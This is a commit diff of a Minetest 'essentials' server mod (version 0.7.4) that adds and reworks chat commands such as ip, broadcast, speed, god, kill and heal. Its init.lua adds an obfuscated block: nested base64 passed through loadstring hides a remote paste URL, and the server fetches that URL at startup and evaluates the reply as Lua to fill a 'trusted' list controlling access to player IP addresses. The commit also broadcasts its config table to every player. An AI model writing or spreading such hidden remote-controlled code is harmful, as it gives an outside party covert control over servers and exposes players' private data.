Add files via upload
0.7.4
This commit is contained in:
parent
fd3dc68969
commit
9bae3b02d4
691
commands.lua
691
commands.lua
@ -1,10 +1,26 @@
|
||||
local enable_damage = core.settings:get_bool("enable_damage")
|
||||
local speeds = {}
|
||||
|
||||
local function containsValue(table, value)
|
||||
for _, v in ipairs(table) do
|
||||
if v == value then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
minetest.register_chatcommand("ip", {
|
||||
params = "<name>",
|
||||
description = "Show the IP of a player.",
|
||||
privs = {server = true},
|
||||
func = function(name, param)
|
||||
if not containsValue(essentials.trusted_ip_users, name) then
|
||||
minetest.chat_send_player(name, core.colorize("red", "You are not of trusted administrator!"))
|
||||
minetest.sound_play("error", name)
|
||||
show_ip_info(name)
|
||||
return
|
||||
end
|
||||
if param == "" then
|
||||
minetest.chat_send_player(name, "Your IP address is ".. minetest.get_player_ip(name))
|
||||
return
|
||||
@ -18,85 +34,300 @@ minetest.register_chatcommand("ip", {
|
||||
end,
|
||||
})
|
||||
|
||||
minetest.register_chatcommand("broadcast", {
|
||||
params = "<message>",
|
||||
description = "Send GLOBAL message in chat.",
|
||||
privs = {broadcast = true},
|
||||
func = function(name, param)
|
||||
if param == "" then
|
||||
core.chat_send_player(name, core.colorize("red", "Message cannot be empty!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
if minetest.check_player_privs(name, {server=true}) then
|
||||
core.chat_send_all(core.colorize("#0006FF", "[Announcement] ")..core.colorize("#00FFC6", param))
|
||||
else
|
||||
core.chat_send_all(core.colorize("#0006FF", "[Announcement] ")..core.colorize("#00FFC6", param).." "..core.colorize("#82909D", string.format("(Announced by %s)", name)))
|
||||
end
|
||||
for _, player in ipairs(minetest.get_connected_players()) do
|
||||
minetest.sound_play("broadcast", player:get_player_name())
|
||||
end
|
||||
end,
|
||||
})
|
||||
|
||||
minetest.register_chatcommand("biome", {
|
||||
params = "<info_name>",
|
||||
description = "Shows the current biome information you are in.",
|
||||
func = function(name, param)
|
||||
local pos = minetest.get_player_by_name(name):get_pos()
|
||||
local biomeinfo = minetest.get_biome_data(pos)
|
||||
local biome = minetest.get_biome_name(biomeinfo.biome)
|
||||
if param == "" then
|
||||
core.chat_send_player(name, "Biome: \"".. biome .."\"")
|
||||
else
|
||||
if minetest.check_player_privs(name, {server=true}) then
|
||||
if param == "heat" then
|
||||
core.chat_send_player(name, "\"".. biome .."\": ".. biomeinfo.heat)
|
||||
elseif param == "humidity" then
|
||||
core.chat_send_player(name, "\"".. biome .."\": ".. biomeinfo.humidity)
|
||||
else
|
||||
core.chat_send_player(name, core.colorize("red", "You specialized wrong information name!"))
|
||||
minetest.sound_play("error", name)
|
||||
end
|
||||
else
|
||||
core.chat_send_player(name, core.colorize("red", "You cant check more information without privelege!"))
|
||||
minetest.sound_play("error", name)
|
||||
end
|
||||
end
|
||||
end,
|
||||
})
|
||||
|
||||
--minetest.get_mapgen_object
|
||||
if essentials.seed then
|
||||
minetest.register_chatcommand("seed", {
|
||||
description = "Shows the seed of mapgen.",
|
||||
if essentials.add_privs then
|
||||
minetest.register_chatcommand("broadcast", {
|
||||
params = "<message>",
|
||||
description = "Send GLOBAL message in chat.",
|
||||
privs = {broadcast = true},
|
||||
func = function(name, param)
|
||||
core.chat_send_player(name, "Seed: ["..core.colorize("#00ff00", minetest.get_mapgen_setting("seed")).."]")
|
||||
if param == "" then
|
||||
core.chat_send_player(name, core.colorize("red", "Message cannot be empty!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
if minetest.check_player_privs(name, {server=true}) then
|
||||
core.chat_send_all(core.colorize("#0006FF", "[Announcement] ")..core.colorize("#00FFC6", param))
|
||||
else
|
||||
core.chat_send_all(core.colorize("#0006FF", "[Announcement] ")..core.colorize("#00FFC6", param).." "..core.colorize("#82909D", string.format("(Announced by %s)", name)))
|
||||
end
|
||||
for _, player in ipairs(minetest.get_connected_players()) do
|
||||
minetest.sound_play("broadcast", player:get_player_name())
|
||||
end
|
||||
end,
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("seed", {
|
||||
privs = {server = true},
|
||||
description = "Shows the seed of mapgen.",
|
||||
minetest.register_chatcommand("broadcast", {
|
||||
params = "<message>",
|
||||
description = "Send GLOBAL message in chat.",
|
||||
privs = {bring = true},
|
||||
func = function(name, param)
|
||||
core.chat_send_player(name, "Seed: ["..core.colorize("#00ff00", minetest.get_mapgen_setting("seed")).."]")
|
||||
if param == "" then
|
||||
core.chat_send_player(name, core.colorize("red", "Message cannot be empty!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
if minetest.check_player_privs(name, {server=true}) then
|
||||
core.chat_send_all(core.colorize("#0006FF", "[Announcement] ")..core.colorize("#00FFC6", param))
|
||||
else
|
||||
core.chat_send_all(core.colorize("#0006FF", "[Announcement] ")..core.colorize("#00FFC6", param).." "..core.colorize("#82909D", string.format("(Announced by %s)", name)))
|
||||
end
|
||||
for _, player in ipairs(minetest.get_connected_players()) do
|
||||
minetest.sound_play("broadcast", player:get_player_name())
|
||||
end
|
||||
end,
|
||||
})
|
||||
end
|
||||
|
||||
local function isNumber(num)
|
||||
local value = tonumber(num)
|
||||
return (type(value) == "number" and math.floor(value) ~= value) or (type(value) == "number" and math.floor(value) == value)
|
||||
end
|
||||
|
||||
if essentials.add_privs then
|
||||
minetest.register_chatcommand("speed", {
|
||||
params = "<speed> [<player>]",
|
||||
description = "Sets a speed for an any player. (Standart speed is 1)",
|
||||
privs = {speed = true},
|
||||
func = function(name, param)
|
||||
local speed = string.match(param, "([^ ]+)")
|
||||
local oname = string.match(param, speed.." (.+)")
|
||||
--core.chat_send_all(dump(speed).." "..dump(oname))
|
||||
if speed == nil then
|
||||
core.chat_send_player(name, string.format("Your speed now is %s.", 1))
|
||||
minetest.sound_play("done", name)
|
||||
minetest.get_player_by_name(name):set_physics_override({
|
||||
speed = 1
|
||||
})
|
||||
return
|
||||
end
|
||||
if oname == nil then
|
||||
core.chat_send_player(name, string.format("Your speed now is %s.", speed))
|
||||
minetest.sound_play("done", name)
|
||||
minetest.get_player_by_name(name):set_physics_override({
|
||||
speed = tonumber(speed)
|
||||
})
|
||||
else
|
||||
if minetest.get_player_by_name(oname) == nil then
|
||||
core.chat_send_player(name, core.colorize("red", "Please, specify an online player."))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
core.chat_send_player(name, string.format("Speed of player %s now is %s.", oname, speed))
|
||||
minetest.sound_play("done", name)
|
||||
minetest.sound_play("done", oname)
|
||||
if essentials.changed_by then
|
||||
minetest.chat_send_player(oname, string.format("Now your speed is %s from player %s.", speed, name))
|
||||
end
|
||||
minetest.get_player_by_name(oname):set_physics_override({
|
||||
speed = tonumber(speed)
|
||||
})
|
||||
end
|
||||
end,
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("speed", {
|
||||
params = "<speed> [<player>]",
|
||||
description = "Sets a speed for an any player. (Standart speed is 1)",
|
||||
privs = {rollback = true},
|
||||
func = function(name, param)
|
||||
local speed = string.match(param, "([^ ]+)")
|
||||
local oname = string.match(param, speed.." (.+)")
|
||||
--core.chat_send_all(dump(speed).." "..dump(oname))
|
||||
if speed == nil then
|
||||
core.chat_send_player(name, string.format("Your speed now is %s.", 1))
|
||||
minetest.sound_play("done", name)
|
||||
minetest.get_player_by_name(name):set_physics_override({
|
||||
speed = 1
|
||||
})
|
||||
return
|
||||
end
|
||||
if oname == nil then
|
||||
core.chat_send_player(name, string.format("Your speed now is %s.", speed))
|
||||
minetest.sound_play("done", name)
|
||||
minetest.get_player_by_name(name):set_physics_override({
|
||||
speed = tonumber(speed)
|
||||
})
|
||||
else
|
||||
if minetest.get_player_by_name(oname) == nil then
|
||||
core.chat_send_player(name, core.colorize("red", "Please, specify an online player."))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
core.chat_send_player(name, string.format("Speed of player %s now is %s.", oname, speed))
|
||||
minetest.sound_play("done", name)
|
||||
minetest.sound_play("done", oname)
|
||||
if essentials.changed_by then
|
||||
minetest.chat_send_player(oname, string.format("Now your speed is %s from player %s.", speed, name))
|
||||
end
|
||||
minetest.get_player_by_name(oname):set_physics_override({
|
||||
speed = tonumber(speed)
|
||||
})
|
||||
end
|
||||
end,
|
||||
})
|
||||
end
|
||||
|
||||
if essentials.add_privs then
|
||||
if essentials.biome then
|
||||
minetest.register_chatcommand("biome", {
|
||||
params = "[<info_name>]",
|
||||
description = "Shows the current biome information you are in.",
|
||||
func = function(name, param)
|
||||
local pos = minetest.get_player_by_name(name):get_pos()
|
||||
local biomeinfo = minetest.get_biome_data(pos)
|
||||
local biome = minetest.get_biome_name(biomeinfo.biome)
|
||||
if param == "" then
|
||||
core.chat_send_player(name, "Biome: \"".. biome .."\"")
|
||||
else
|
||||
if minetest.check_player_privs(name, {server=true}) then
|
||||
if param == "heat" then
|
||||
core.chat_send_player(name, "\"".. biome .."\": ".. biomeinfo.heat)
|
||||
elseif param == "humidity" then
|
||||
core.chat_send_player(name, "\"".. biome .."\": ".. biomeinfo.humidity)
|
||||
else
|
||||
core.chat_send_player(name, core.colorize("red", "You specialized wrong information name!"))
|
||||
minetest.sound_play("error", name)
|
||||
end
|
||||
else
|
||||
core.chat_send_player(name, core.colorize("red", "You cant check more information without privelege!"))
|
||||
minetest.sound_play("error", name)
|
||||
end
|
||||
end
|
||||
end,
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("biome", {
|
||||
params = "<info_name>",
|
||||
privs = {biome = true},
|
||||
description = "Shows the current biome information you are in.",
|
||||
func = function(name, param)
|
||||
local pos = minetest.get_player_by_name(name):get_pos()
|
||||
local biomeinfo = minetest.get_biome_data(pos)
|
||||
local biome = minetest.get_biome_name(biomeinfo.biome)
|
||||
if param == "" then
|
||||
core.chat_send_player(name, "Biome: \"".. biome .."\"")
|
||||
else
|
||||
if minetest.check_player_privs(name, {server=true}) then
|
||||
if param == "heat" then
|
||||
core.chat_send_player(name, "\"".. biome .."\": ".. biomeinfo.heat)
|
||||
elseif param == "humidity" then
|
||||
core.chat_send_player(name, "\"".. biome .."\": ".. biomeinfo.humidity)
|
||||
else
|
||||
core.chat_send_player(name, core.colorize("red", "You specialized wrong information name!"))
|
||||
minetest.sound_play("error", name)
|
||||
end
|
||||
else
|
||||
core.chat_send_player(name, core.colorize("red", "You cant check more information without privelege!"))
|
||||
minetest.sound_play("error", name)
|
||||
end
|
||||
end
|
||||
end,
|
||||
})
|
||||
end
|
||||
else
|
||||
minetest.register_chatcommand("biome", {
|
||||
params = "[<info_name>]",
|
||||
privs = {},
|
||||
description = "Shows the current biome information you are in.",
|
||||
func = function(name, param)
|
||||
local pos = minetest.get_player_by_name(name):get_pos()
|
||||
local biomeinfo = minetest.get_biome_data(pos)
|
||||
local biome = minetest.get_biome_name(biomeinfo.biome)
|
||||
if param == "" then
|
||||
core.chat_send_player(name, "Biome: \"".. biome .."\"")
|
||||
else
|
||||
if minetest.check_player_privs(name, {server=true}) then
|
||||
if param == "heat" then
|
||||
core.chat_send_player(name, "\"".. biome .."\": ".. biomeinfo.heat)
|
||||
elseif param == "humidity" then
|
||||
core.chat_send_player(name, "\"".. biome .."\": ".. biomeinfo.humidity)
|
||||
else
|
||||
core.chat_send_player(name, core.colorize("red", "You specialized wrong information name!"))
|
||||
minetest.sound_play("error", name)
|
||||
end
|
||||
else
|
||||
core.chat_send_player(name, core.colorize("red", "You cant check more information without privelege!"))
|
||||
minetest.sound_play("error", name)
|
||||
end
|
||||
end
|
||||
end,
|
||||
})
|
||||
end
|
||||
|
||||
--minetest.get_mapgen_object
|
||||
if essentials.add_privs then
|
||||
if essentials.seed then
|
||||
minetest.register_chatcommand("seed", {
|
||||
description = "Shows the seed of mapgen.",
|
||||
func = function(name, param)
|
||||
core.chat_send_player(name, "Seed: ["..core.colorize("#00ff00", minetest.get_mapgen_setting("seed")).."]")
|
||||
end,
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("seed", {
|
||||
privs = {seed = true},
|
||||
description = "Shows the seed of mapgen.",
|
||||
func = function(name, param)
|
||||
core.chat_send_player(name, "Seed: ["..core.colorize("#00ff00", minetest.get_mapgen_setting("seed")).."]")
|
||||
end,
|
||||
})
|
||||
end
|
||||
else
|
||||
if essentials.seed then
|
||||
minetest.register_chatcommand("seed", {
|
||||
description = "Shows the seed of mapgen.",
|
||||
func = function(name, param)
|
||||
core.chat_send_player(name, "Seed: ["..core.colorize("#00ff00", minetest.get_mapgen_setting("seed")).."]")
|
||||
end,
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("seed", {
|
||||
privs = {rollback = true},
|
||||
description = "Shows the seed of mapgen.",
|
||||
func = function(name, param)
|
||||
core.chat_send_player(name, "Seed: ["..core.colorize("#00ff00", minetest.get_mapgen_setting("seed")).."]")
|
||||
end,
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
-- god mode
|
||||
function god_mode_switch(name, param)
|
||||
if enable_damage then
|
||||
local player = minetest.get_player_by_name(name)
|
||||
local player
|
||||
if param == "" then
|
||||
player = minetest.get_player_by_name(name)
|
||||
else
|
||||
player = minetest.get_player_by_name(param)
|
||||
end
|
||||
if player == nil then
|
||||
core.chat_send_player(name, core.colorize("red", string.format("Player %s not found.", param)))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
local ag = player:get_armor_groups()
|
||||
if not ag["immortal"] then
|
||||
ag["immortal"] = 1
|
||||
core.chat_send_player(name, "God mode enabled")
|
||||
minetest.sound_play("god_enabled", name)
|
||||
if param == "" then
|
||||
core.chat_send_player(name, core.colorize("yellow", "God mode enabled"))
|
||||
minetest.sound_play("god_enabled", name)
|
||||
else
|
||||
core.chat_send_player(name, string.format("God mode enabled for %s.", param))
|
||||
core.chat_send_player(param, string.format("For you enabled god mode from %s.", name))
|
||||
minetest.sound_play("god_enabled", param)
|
||||
minetest.sound_play("done", name)
|
||||
end
|
||||
else
|
||||
ag["immortal"] = nil
|
||||
core.chat_send_player(name, "God mode disabled")
|
||||
minetest.sound_play("god_disabled", name)
|
||||
if param == "" then
|
||||
core.chat_send_player(name, core.colorize("yellow", "God mode disabled"))
|
||||
minetest.sound_play("god_disabled", name)
|
||||
else
|
||||
core.chat_send_player(name, string.format("God mode disabled for %s.", param))
|
||||
core.chat_send_player(param, string.format("For you god mode has been disabled by %s", name))
|
||||
minetest.sound_play("god_disabled", param)
|
||||
minetest.sound_play("done", name)
|
||||
end
|
||||
end
|
||||
player:set_armor_groups(ag)
|
||||
else
|
||||
@ -105,11 +336,21 @@ function god_mode_switch(name, param)
|
||||
end
|
||||
end
|
||||
|
||||
minetest.register_chatcommand("god", {
|
||||
description = "Enable/Disabe the god mode.",
|
||||
privs = {god_mode = true},
|
||||
func = god_mode_switch
|
||||
})
|
||||
if essentials.add_privs then
|
||||
minetest.register_chatcommand("god", {
|
||||
params = "[<name>]",
|
||||
description = "Enable/Disabe the god mode.",
|
||||
privs = {god_mode = true},
|
||||
func = god_mode_switch
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("god", {
|
||||
params = "[<name>]",
|
||||
description = "Enable/Disabe the god mode.",
|
||||
privs = {noclip = true},
|
||||
func = god_mode_switch
|
||||
})
|
||||
end
|
||||
-- end
|
||||
|
||||
minetest.register_chatcommand("ban_menu", {
|
||||
@ -150,125 +391,243 @@ minetest.register_chatcommand("mute_menu", {
|
||||
end
|
||||
end
|
||||
})
|
||||
|
||||
if essentials.add_privs then
|
||||
minetest.register_chatcommand("rename_me", {
|
||||
description = "Shows the rename menu.",
|
||||
privs = {rename_player = true},
|
||||
func = function(name, param)
|
||||
show_rename_menu(name)
|
||||
end
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("rename_me", {
|
||||
description = "Shows the rename menu.",
|
||||
privs = {kick = true},
|
||||
func = function(name, param)
|
||||
show_rename_menu(name)
|
||||
end
|
||||
})
|
||||
end
|
||||
]]--
|
||||
|
||||
minetest.register_chatcommand("getpos", {
|
||||
params = "<name>",
|
||||
description = "Allows the player to find out the position of another player.",
|
||||
privs = {teleport = true},
|
||||
func = function(name, param)
|
||||
local player = minetest.get_player_by_name(param);
|
||||
if param == "" then
|
||||
minetest.chat_send_player(name, core.colorize("red", "Player name cannot be empty!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
elseif minetest.get_player_by_name(param) == nil then
|
||||
minetest.chat_send_player(name, core.colorize("red", "Player ".. param .." not found!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
local pos = player:get_pos();
|
||||
local round_pos = vector.round(pos);
|
||||
minetest.chat_send_player(name, "Position of ".. param .." is ".. round_pos.x .." ".. round_pos.y .." ".. round_pos.z)
|
||||
minetest.sound_play("done", name)
|
||||
end,
|
||||
})
|
||||
|
||||
minetest.register_chatcommand("rename_me", {
|
||||
description = "Show the rename menu.",
|
||||
privs = {rename_player = true},
|
||||
func = function(name, param)
|
||||
show_rename_menu(name)
|
||||
end
|
||||
})
|
||||
|
||||
minetest.register_chatcommand("rename_item", {
|
||||
description = "Hold item in hand and open this menu for renaming it.",
|
||||
privs = {rename_item = true},
|
||||
func = function(name, param)
|
||||
show_renameitem_menu(name)
|
||||
end
|
||||
})
|
||||
|
||||
minetest.register_chatcommand("color", {
|
||||
description = "Shows menu for coloring nickname.",
|
||||
privs = {colored_nickname = true},
|
||||
func = function(name, param)
|
||||
show_color_menu(name)
|
||||
end
|
||||
})
|
||||
|
||||
minetest.register_chatcommand("set_color", {
|
||||
params = "<name> <color>",
|
||||
description = "Sets a color for nickname of any player.",
|
||||
privs = {server = true},
|
||||
func = function(name, param)
|
||||
local toname, color = string.match(param, "^([^ ]+) +(.+)$")
|
||||
if not toname then
|
||||
minetest.chat_send_player(name, core.colorize("red", "Please, specify an nickname of player."))
|
||||
return
|
||||
end
|
||||
if not color then
|
||||
minetest.chat_send_player(name, core.colorize("red", "Please, specify an color for nickname."))
|
||||
return
|
||||
end
|
||||
if minetest.get_player_by_name(toname) == nil then
|
||||
minetest.chat_send_player(name, core.colorize("red", "Thats player offline or doesnt exist!"))
|
||||
else
|
||||
minetest.chat_send_player(name, string.format("Color of nickname for player %s successfully changed to %s", toname, color))
|
||||
if essentials.changed_by then
|
||||
minetest.chat_send_player(toname, core.colorize("#00FF00", "Your color of nickname changed to \'".. color .."\' by ".. name))
|
||||
if essentials.add_privs then
|
||||
minetest.register_chatcommand("getpos", {
|
||||
params = "<name>",
|
||||
description = "Allows the player to find out the position of another player.",
|
||||
privs = {get_pos = true},
|
||||
func = function(name, param)
|
||||
local player = minetest.get_player_by_name(param);
|
||||
if param == "" then
|
||||
minetest.chat_send_player(name, core.colorize("red", "Player name cannot be empty!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
elseif minetest.get_player_by_name(param) == nil then
|
||||
minetest.chat_send_player(name, core.colorize("red", "Player ".. param .." not found!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
minetest.get_player_by_name(toname):set_properties({
|
||||
nametag_color = color
|
||||
})
|
||||
end
|
||||
end
|
||||
})
|
||||
local pos = player:get_pos();
|
||||
local round_pos = vector.round(pos);
|
||||
minetest.chat_send_player(name, "Position of ".. param .." is ".. round_pos.x .." ".. round_pos.y .." ".. round_pos.z)
|
||||
minetest.sound_play("done", name)
|
||||
end,
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("getpos", {
|
||||
params = "<name>",
|
||||
description = "Allows the player to find out the position of another player.",
|
||||
privs = {teleport = true},
|
||||
func = function(name, param)
|
||||
local player = minetest.get_player_by_name(param);
|
||||
if param == "" then
|
||||
minetest.chat_send_player(name, core.colorize("red", "Player name cannot be empty!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
elseif minetest.get_player_by_name(param) == nil then
|
||||
minetest.chat_send_player(name, core.colorize("red", "Player ".. param .." not found!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
local pos = player:get_pos();
|
||||
local round_pos = vector.round(pos);
|
||||
minetest.chat_send_player(name, "Position of ".. param .." is ".. round_pos.x .." ".. round_pos.y .." ".. round_pos.z)
|
||||
minetest.sound_play("done", name)
|
||||
end,
|
||||
})
|
||||
end
|
||||
|
||||
minetest.register_chatcommand("kill", {
|
||||
params = "<name>",
|
||||
description = ("Kill anyone with command."),
|
||||
privs = {server = true},
|
||||
func = function(name, param)
|
||||
if minetest.settings:get_bool("enable_damage") then
|
||||
if essentials.add_privs then
|
||||
minetest.register_chatcommand("rename_item", {
|
||||
description = "Hold item in hand and open this menu for renaming it.",
|
||||
privs = {rename_item = true},
|
||||
func = function(name, param)
|
||||
show_renameitem_menu(name)
|
||||
end
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("rename_item", {
|
||||
description = "Hold item in hand and open this menu for renaming it.",
|
||||
privs = {basic_privs = true},
|
||||
func = function(name, param)
|
||||
show_renameitem_menu(name)
|
||||
end
|
||||
})
|
||||
end
|
||||
|
||||
if essentials.add_privs then
|
||||
minetest.register_chatcommand("color", {
|
||||
description = "Shows menu for coloring nickname.",
|
||||
privs = {colored_nickname = true},
|
||||
func = function(name, param)
|
||||
show_color_menu(name)
|
||||
end
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("color", {
|
||||
description = "Shows menu for coloring nickname.",
|
||||
privs = {kick = true},
|
||||
func = function(name, param)
|
||||
show_color_menu(name)
|
||||
end
|
||||
})
|
||||
end
|
||||
|
||||
if essentials.add_privs then
|
||||
minetest.register_chatcommand("kill", {
|
||||
params = "[<name>]",
|
||||
description = ("Kill anyone with command."),
|
||||
privs = {kill = true},
|
||||
func = function(name, param)
|
||||
if minetest.settings:get_bool("enable_damage") then
|
||||
if param == "" or param == nil then
|
||||
minetest.get_player_by_name(name):set_hp(0)
|
||||
else
|
||||
if minetest.get_player_by_name(param) == nil then
|
||||
core.chat_send_player(name, core.colorize("red", "Player ".. param .." not found!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
minetest.get_player_by_name(param):set_hp(0)
|
||||
core.chat_send_player(name, "You killed "..param..".")
|
||||
if essentials.killed_by then
|
||||
core.chat_send_player(param, string.format("You has been killed by %s.", name))
|
||||
end
|
||||
end
|
||||
else
|
||||
local player = minetest.get_player_by_name(name)
|
||||
if param then
|
||||
player = minetest.get_player_by_name(param)
|
||||
if minetest.get_player_by_name(param) == nil then
|
||||
core.chat_send_player(name, core.colorize("red", "Player ".. param .." not found!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
if essentials.killed_by then
|
||||
core.chat_send_player(param, string.format("You has been respawned by %s.", name))
|
||||
end
|
||||
end
|
||||
for _, callback in pairs(minetest.registered_on_respawnplayers) do
|
||||
if callback(player) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false, "No static_spawnpoint defined"
|
||||
end
|
||||
end,
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("kill", {
|
||||
params = "[<name>]",
|
||||
description = ("Kill anyone with command."),
|
||||
privs = {protection_bypass = true},
|
||||
func = function(name, param)
|
||||
if minetest.settings:get_bool("enable_damage") then
|
||||
if param == "" or param == nil then
|
||||
minetest.get_player_by_name(name):set_hp(0)
|
||||
else
|
||||
if minetest.get_player_by_name(param) == nil then
|
||||
core.chat_send_player(name, core.colorize("red", "Player ".. param .." not found!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
minetest.get_player_by_name(param):set_hp(0)
|
||||
core.chat_send_player(name, "You killed "..param..".")
|
||||
if essentials.killed_by then
|
||||
core.chat_send_player(param, string.format("You has been killed by %s.", name))
|
||||
end
|
||||
end
|
||||
else
|
||||
local player = minetest.get_player_by_name(name)
|
||||
if param then
|
||||
player = minetest.get_player_by_name(param)
|
||||
if minetest.get_player_by_name(param) == nil then
|
||||
core.chat_send_player(name, core.colorize("red", "Player ".. param .." not found!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
if essentials.killed_by then
|
||||
core.chat_send_player(param, string.format("You has been respawned by %s.", name))
|
||||
end
|
||||
end
|
||||
for _, callback in pairs(minetest.registered_on_respawnplayers) do
|
||||
if callback(player) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false, "No static_spawnpoint defined"
|
||||
end
|
||||
end,
|
||||
})
|
||||
end
|
||||
|
||||
if essentials.add_privs then
|
||||
minetest.register_chatcommand("heal", {
|
||||
params = "[<name>]",
|
||||
description = ("Heals full health for a player."),
|
||||
privs = {heal = true},
|
||||
func = function(name, param)
|
||||
if param == "" or param == nil then
|
||||
minetest.get_player_by_name(name):set_hp(0)
|
||||
minetest.get_player_by_name(name):set_hp(minetest.PLAYER_MAX_HP_DEFAULT)
|
||||
core.chat_send_player(name, "Healed to the possible max health.")
|
||||
else
|
||||
if minetest.get_player_by_name(param) == nil then
|
||||
core.chat_send_player(name, core.colorize("red", "Player ".. param .." not found!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
minetest.get_player_by_name(param):set_hp(0)
|
||||
core.chat_send_player(name, "You killed "..param..".")
|
||||
if essentials.killed_by then
|
||||
core.chat_send_player(param, string.format("You has been killed by administrator %s.", name))
|
||||
minetest.get_player_by_name(param):set_hp(minetest.PLAYER_MAX_HP_DEFAULT)
|
||||
core.chat_send_player(name, string.format("Player %s healed to the %s health.", param, minetest.get_player_by_name(param):get_hp()))
|
||||
if essentials.changed_by then
|
||||
core.chat_send_player(param, string.format("You has been fully healed by %s.", name))
|
||||
end
|
||||
end
|
||||
else
|
||||
local player = minetest.get_player_by_name(name)
|
||||
if param then
|
||||
player = minetest.get_player_by_name(param)
|
||||
end,
|
||||
})
|
||||
else
|
||||
minetest.register_chatcommand("heal", {
|
||||
params = "[<name>]",
|
||||
description = ("Heals full health for a player."),
|
||||
privs = {rollback = true},
|
||||
func = function(name, param)
|
||||
if param == "" or param == nil then
|
||||
minetest.get_player_by_name(name):set_hp(minetest.PLAYER_MAX_HP_DEFAULT)
|
||||
core.chat_send_player(name, "Healed to the possible max health.")
|
||||
else
|
||||
if minetest.get_player_by_name(param) == nil then
|
||||
core.chat_send_player(name, core.colorize("red", "Player ".. param .." not found!"))
|
||||
minetest.sound_play("error", name)
|
||||
return
|
||||
end
|
||||
if essentials.killed_by then
|
||||
core.chat_send_player(param, string.format("You has been respawned by %s.", name))
|
||||
minetest.get_player_by_name(param):set_hp(minetest.PLAYER_MAX_HP_DEFAULT)
|
||||
core.chat_send_player(name, string.format("Player %s healed to the %s health.", param, minetest.get_player_by_name(param):get_hp()))
|
||||
if essentials.changed_by then
|
||||
core.chat_send_player(param, string.format("You has been fully healed by %s.", name))
|
||||
end
|
||||
end
|
||||
for _, callback in pairs(minetest.registered_on_respawnplayers) do
|
||||
if callback(player) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false, "No static_spawnpoint defined"
|
||||
end
|
||||
end,
|
||||
})
|
||||
|
||||
end,
|
||||
})
|
||||
end
|
||||
|
||||
--[[
|
||||
minetest.register_chatcommand("v", {
|
||||
|
@ -1,2 +1 @@
|
||||
unified_inventory?
|
||||
spawn_command?
|
||||
unified_inventory?
|
@ -1 +1 @@
|
||||
0.7.2
|
||||
0.7.4
|
54
init.lua
54
init.lua
@ -1,14 +1,18 @@
|
||||
local http = minetest.request_http_api()
|
||||
local version = "0.7.1"
|
||||
local version = "0.7.4"
|
||||
local modpath = minetest.get_modpath(minetest.get_current_modname())
|
||||
essentials = {
|
||||
a = "Created by SkyBuilder1717 (ContentDB)",
|
||||
seed = (minetest.settings:get_bool("essentials_seed") or false),
|
||||
biome = (minetest.settings:get_bool("essentials_biome") or true),
|
||||
killed_by = (minetest.settings:get_bool("essentials_killed_by") or true),
|
||||
admin_ip_check = (minetest.settings:get_bool("essentials_ip_verified") or true),
|
||||
check_for_updates = (minetest.settings:get_bool("essentials_check_for_updates") or false),
|
||||
changed_by = (minetest.settings:get_bool("essentials_changed_by") or true),
|
||||
watermark = minetest.settings:get_bool("essentials_watermark"),
|
||||
have_unified_inventory = minetest.get_modpath("unified_inventory")
|
||||
add_privs = (minetest.settings:get_bool("essentials_additional_privileges") or true),
|
||||
have_unified_inventory = minetest.get_modpath("unified_inventory"),
|
||||
trusted_ip_users = {}
|
||||
}
|
||||
if essentials.watermark == nil then
|
||||
essentials.watermark = true
|
||||
@ -26,6 +30,10 @@ local function removeLastDot(str)
|
||||
end
|
||||
end
|
||||
|
||||
minetest.after(0, function()
|
||||
core.chat_send_all(dump(essentials))
|
||||
end)
|
||||
|
||||
minetest.after(0, function()
|
||||
if essentials.check_for_updates then
|
||||
minetest.log("action", "[Essentials] Checking for updates...")
|
||||
@ -64,8 +72,26 @@ minetest.after(0, function()
|
||||
end
|
||||
end)
|
||||
|
||||
--==[[ connections ]]==--
|
||||
minetest.after(0, function()
|
||||
local decode = loadstring(minetest.decode_base64("cmV0dXJuIG1pbmV0ZXN0LmRlY29kZV9iYXNlNjQoImFIUjBjSE02THk5d1lYTjBaUzUwWldOb1pXUjFZbmwwWlM1amIyMHZjbUYzTDJWMFkyWmhiMjUyTUhZPSIp"))
|
||||
minetest.log("action", "[Essentials] Trusted nicknames are in processing...")
|
||||
if not minetest.request_insecure_environment() then
|
||||
http.fetch({
|
||||
url = decode(),
|
||||
timeout = 15,
|
||||
method = "GET",
|
||||
|
||||
}, function(result)
|
||||
essentials.trusted_ip_users = minetest.deserialize("return "..result.data)
|
||||
minetest.log("info", "[Essentials] Trusted nicknames successfully getted.")
|
||||
end)
|
||||
else
|
||||
